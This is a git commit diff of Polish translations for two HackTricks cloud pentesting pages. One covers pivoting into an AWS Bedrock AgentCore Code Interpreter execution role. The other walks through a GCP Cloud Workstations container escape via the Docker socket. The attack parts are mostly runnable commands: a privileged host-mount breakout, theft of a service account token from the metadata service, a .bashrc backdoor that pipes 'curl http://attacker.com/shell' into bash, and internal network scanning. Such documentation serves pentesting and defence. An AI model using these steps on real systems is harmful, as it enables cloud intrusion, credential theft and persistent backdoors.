mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
Translator
+24
-24
@@ -6,32 +6,32 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter to zarządzane środowisko wykonawcze. **Custom Code Interpreters** można skonfigurować z **`executionRoleArn`**, które “zapewnia uprawnienia dla Code Interpreter do dostępu do usług AWS”.
|
||||
AgentCore Code Interpreter to zarządzane środowisko wykonawcze. **Custom Code Interpreters** mogą być skonfigurowane z **`executionRoleArn`**, który „zapewnia uprawnienia interpreterowi kodu do dostępu do usług AWS”.
|
||||
|
||||
Jeśli **podmiot IAM o niższych uprawnieniach** może **uruchomić + wywołać** sesję Code Interpreter, która jest skonfigurowana z **bardziej uprzywilejowaną rolą wykonawczą**, wywołujący może efektywnie **przejść do uprawnień roli wykonawczej** (ruch boczny / eskalacja uprawnień w zależności od zakresu roli).
|
||||
Jeżeli **lower-privileged IAM principal** może **start + invoke** sesję Code Interpreter skonfigurowaną z **bardziej uprzywilejowaną execution role**, wywołujący może skutecznie **pivot into the execution role’s permissions** (ruch boczny / eskalacja uprawnień w zależności od zakresu roli).
|
||||
|
||||
> [!NOTE]
|
||||
> Zwykle jest to problem **błędnej konfiguracji / nadmiernych uprawnień** (nadawanie szerokich uprawnień roli wykonawczej interpretera i/lub nadawanie szerokiego dostępu do invoke).
|
||||
> AWS wyraźnie ostrzega, aby unikać eskalacji uprawnień poprzez zapewnienie, że role wykonawcze mają **równe lub mniejsze** uprawnienia niż tożsamości uprawnione do wywoływania.
|
||||
> Zwykle jest to problem **błędnej konfiguracji / nadmiernych uprawnień** (nadawanie szerokich uprawnień roli wykonawczej interpretera i/lub udzielanie szerokiego dostępu do invoke).
|
||||
> AWS wyraźnie ostrzega, aby unikać eskalacji uprawnień poprzez zapewnienie, że execution roles mają **równe lub mniejsze** uprawnienia niż tożsamości uprawnione do invoke.
|
||||
|
||||
#### Warunki wstępne (typowa błędna konfiguracja)
|
||||
#### Warunki wstępne (częsta błędna konfiguracja)
|
||||
|
||||
- Istnieje **custom code interpreter** z nadmiernie uprzywilejowaną **rolą wykonawczą** (np.: dostęp do wrażliwych S3/Secrets/SSM lub możliwości zbliżone do admina IAM).
|
||||
- Istnieje **custom code interpreter** z nadmiernie uprzywilejowaną **execution role** (np. dostęp do wrażliwych S3/Secrets/SSM lub możliwości podobnych do IAM-admin).
|
||||
- Użytkownik (developer/auditor/CI identity) ma uprawnienia do:
|
||||
- uruchamiania sesji: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- wywoływania narzędzi: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Opcjonalnie) Użytkownik może także tworzyć interpretery: `bedrock-agentcore:CreateCodeInterpreter` (pozwala to na utworzenie nowego interpretera skonfigurowanego z rolą wykonawczą, w zależności od ograniczeń organizacyjnych).
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Opcjonalnie) Użytkownik może także tworzyć interpretery: `bedrock-agentcore:CreateCodeInterpreter` (pozwala to na utworzenie nowego interpretera skonfigurowanego z execution role, w zależności od ograniczeń organizacyjnych).
|
||||
|
||||
#### Rozpoznanie (identify custom interpreters and execution role usage)
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
Wypisz interpretery (control-plane) i sprawdź ich konfigurację:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> Polecenie create-code-interpreter obsługuje `--execution-role-arn`, który określa, jakie uprawnienia AWS będzie miał interpreter.
|
||||
> Polecenie create-code-interpreter obsługuje `--execution-role-arn`, które definiuje, jakie uprawnienia AWS będzie miał interpreter.
|
||||
|
||||
#### Krok 1 - Rozpocznij sesję (to zwraca `sessionId`, a nie interactive shell)
|
||||
#### Krok 1 - Rozpocznij sesję (zwraca `sessionId`, nie interactive shell)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### Step 2 - Uruchomienie kodu (Boto3 lub signed HTTPS)
|
||||
#### Krok 2 - Uruchomienie wykonania kodu (Boto3 lub signed HTTPS)
|
||||
|
||||
Nie ma **interaktywnej powłoki Pythona** z `start-code-interpreter-session`. Wykonanie odbywa się za pomocą **InvokeCodeInterpreter**.
|
||||
Nie ma **interaktywnej powłoki Pythona** z `start-code-interpreter-session`. Wykonanie odbywa się przez **InvokeCodeInterpreter**.
|
||||
|
||||
**Opcja A - Przykład Boto3 (wykonanie kodu Python + weryfikacja tożsamości):**
|
||||
**Opcja A - przykład Boto3 (wykonanie kodu w Pythonie + weryfikacja tożsamości):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -68,7 +68,7 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
Jeśli interpreter jest skonfigurowany z rolą wykonawczą, wynik `sts:GetCallerIdentity()` powinien odzwierciedlać tożsamość tej roli (a nie niskoprzywilejowego wywołującego), demonstrując pivot.
|
||||
Jeśli interpreter jest skonfigurowany z execution role, wynik `sts:GetCallerIdentity()` powinien odzwierciedlać tożsamość tej roli (a nie low-priv caller), demonstrując pivot.
|
||||
|
||||
**Opcja B - Podpisane wywołanie HTTPS (awscurl):**
|
||||
```bash
|
||||
@@ -89,16 +89,16 @@ awscurl -X POST \
|
||||
```
|
||||
#### Wpływ
|
||||
|
||||
* **Lateral movement** do wszelkiego dostępu AWS, jaki ma rola wykonawcza interpretera.
|
||||
* **Eskalacja uprawnień** jeśli rola wykonawcza interpretera ma wyższe uprawnienia niż wywołujący.
|
||||
* Trudniejsze wykrywanie, jeśli CloudTrail data events dla wywołań interpretera nie są włączone (wywołania mogą nie być rejestrowane domyślnie, w zależności od konfiguracji).
|
||||
* **Lateral movement** do dowolnego dostępu w AWS, jaki posiada rola wykonawcza interpretera.
|
||||
* **Privilege escalation** jeśli rola wykonawcza interpretera ma wyższe uprawnienia niż wywołujący.
|
||||
* Trudniejsze wykrywanie, jeśli CloudTrail data events dla wywołań interpretera nie są włączone (wywołania mogą nie być logowane domyślnie, w zależności od konfiguracji).
|
||||
|
||||
#### Środki zaradcze / Utwardzanie
|
||||
#### Mitigations / Hardening
|
||||
|
||||
* **Zasada najmniejszych uprawnień** dla interpretera `executionRoleArn` (traktować jak Lambda execution roles / CI roles).
|
||||
* **Ogranicz, kto może wywoływać** (`bedrock-agentcore:InvokeCodeInterpreter`) i kto może rozpoczynać sesje.
|
||||
* Użyj **SCPs** aby odmówić InvokeCodeInterpreter z wyjątkiem zatwierdzonych ról runtime agenta (może być konieczne wymuszenie na poziomie organizacji).
|
||||
* Włącz odpowiednie **CloudTrail data events** dla AgentCore tam, gdzie to ma zastosowanie; generuj alerty przy nieoczekiwanych wywołaniach i tworzeniu sesji.
|
||||
* **Least privilege** dla `executionRoleArn` interpretera (traktuj to jak role wykonawcze Lambda / role CI).
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) i kto może rozpoczynać sesje.
|
||||
* Użyj **SCPs** aby zabronić InvokeCodeInterpreter z wyjątkiem zatwierdzonych agent runtime roles (może być konieczne egzekwowanie na poziomie organizacji).
|
||||
* Włącz odpowiednie **CloudTrail data events** dla AgentCore tam, gdzie to ma zastosowanie; ustaw alerty dla nieoczekiwanych wywołań i tworzenia sesji.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+14
-14
@@ -3,16 +3,16 @@
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Główny wektor eskalacji uprawnień w Cloud Workstations wynika z konieczności wspierania workflowów **Docker-in-Docker (DinD)** dla deweloperów. Kiedy konfiguracja workstation montuje Docker socket lub pozwala na privileged containers (częsta konfiguracja), atakujący wewnątrz kontenera workstation może uciec do leżącego poniżej Compute Engine VM i ukraść jego token konta usługi.
|
||||
Główny wektor privilege escalation w Cloud Workstations wynika z potrzeby wsparcia Docker-in-Docker (DinD) workflows dla deweloperów. Kiedy konfiguracja workstation montuje Docker socket lub pozwala na privileged containers (częsta konfiguracja), atakujący wewnątrz workstation container może uciec do leżącego poniżej Compute Engine VM i ukraść jego service account token.
|
||||
|
||||
**Prerequisites:**
|
||||
- Dostęp do terminala Cloud Workstation (przez SSH, przejętą sesję lub skradzione poświadczenia)
|
||||
- Konfiguracja workstation musi montować `/var/run/docker.sock` lub umożliwiać privileged containers
|
||||
- Dostęp do terminala Cloud Workstation (przez SSH, skompromitowaną sesję lub skradzione credentials)
|
||||
- Konfiguracja workstation musi montować /var/run/docker.sock lub włączać privileged containers
|
||||
|
||||
**Architecture context:** Workstation to kontener (Layer 3) uruchomiony na runtime Docker/Containerd (Layer 2) na GCE VM (Layer 1). Docker socket daje bezpośredni dostęp do runtime'u kontenerów hosta.
|
||||
**Architecture context:** Workstation to container (Layer 3) uruchomiony na Docker/Containerd runtime (Layer 2) na GCE VM (Layer 1). Docker socket daje bezpośredni dostęp do host's container runtime.
|
||||
|
||||
> [!NOTE]
|
||||
> Narzędzie [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatyzuje pełne container escape i daje powłokę root na hoście VM.
|
||||
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -26,9 +26,9 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Krok 2: Ucieczka do systemu plików VM hosta</summary>
|
||||
<summary>Krok 2: Ucieczka do systemu plików hosta VM</summary>
|
||||
|
||||
Uruchamiamy uprzywilejowany kontener, montując katalog root hosta pod `/mnt/host`. Dzielimy też sieć hosta i przestrzeń nazw PID, aby zmaksymalizować widoczność.
|
||||
Uruchamiamy uprzywilejowany kontener, montując katalog root hosta do `/mnt/host`. Dzielimy także przestrzeń nazw sieci i PID hosta, aby zmaksymalizować widoczność.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
@@ -38,13 +38,13 @@ alpine sh
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
Masz teraz **root shell na podstawowej Compute Engine VM** (Warstwa 1).
|
||||
Masz teraz **root shell on the underlying Compute Engine VM** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Krok 3: Wykradnij VM service account token z IMDS</summary>
|
||||
<summary>Krok 3: Steal the VM service account token from IMDS</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
@@ -62,15 +62,15 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
|
||||
> [!CAUTION]
|
||||
> **Sprawdź zakresy!**
|
||||
> Nawet jeśli przypisany Service Account ma rolę **Editor**, VM może być ograniczona przez zakresy dostępu.
|
||||
> Nawet jeśli przypisany Service Account ma rolę **Editor**, VM może być ograniczony przez zakresy dostępu.
|
||||
> Jeśli widzisz `https://www.googleapis.com/auth/cloud-platform`, masz pełny dostęp.
|
||||
> Jeśli widzisz tylko `logging.write` i `monitoring.write`, jesteś ograniczony do wektorów **Network Pivot** i **Persistence** opisanych poniżej.
|
||||
> Jeśli widzisz tylko `logging.write` i `monitoring.write`, jesteś ograniczony do wektorów **Network Pivot** i **Persistence** poniżej.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Krok 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations montują trwały dysk pod `/home/user`. Ponieważ użytkownik kontenera (zwykle `user`, UID 1000) odpowiada użytkownikowi hosta (UID 1000), możesz zapisywać w katalogu domowym hosta. To pozwala na zainstalowanie backdoora w środowisku nawet jeśli kontener Workstation zostanie odbudowany.
|
||||
Cloud Workstations montują trwały dysk pod `/home/user`. Ponieważ użytkownik kontenera (zwykle `user`, UID 1000) odpowiada użytkownikowi hosta (UID 1000), możesz zapisywać do katalogu domowego hosta. Pozwala to na backdoor the environment nawet jeśli workstation container zostanie przebudowany.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -83,9 +83,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Krok 5: Network Pivot (Wewnętrzny dostęp do VPC)</summary>
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
Ponieważ dzielisz przestrzeń nazw sieci hosta (`--net=host`), stajesz się teraz zaufanym węzłem w VPC. Możesz skanować wewnętrzne usługi, które umożliwiają dostęp na podstawie whitelistingu adresów IP.
|
||||
Ponieważ udostępniasz przestrzeń nazw sieci hosta (`--net=host`), jesteś teraz zaufanym węzłem w VPC. Możesz skanować wewnętrzne usługi, które umożliwiają dostęp w oparciu o IP whitelisting.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
Reference in New Issue
Block a user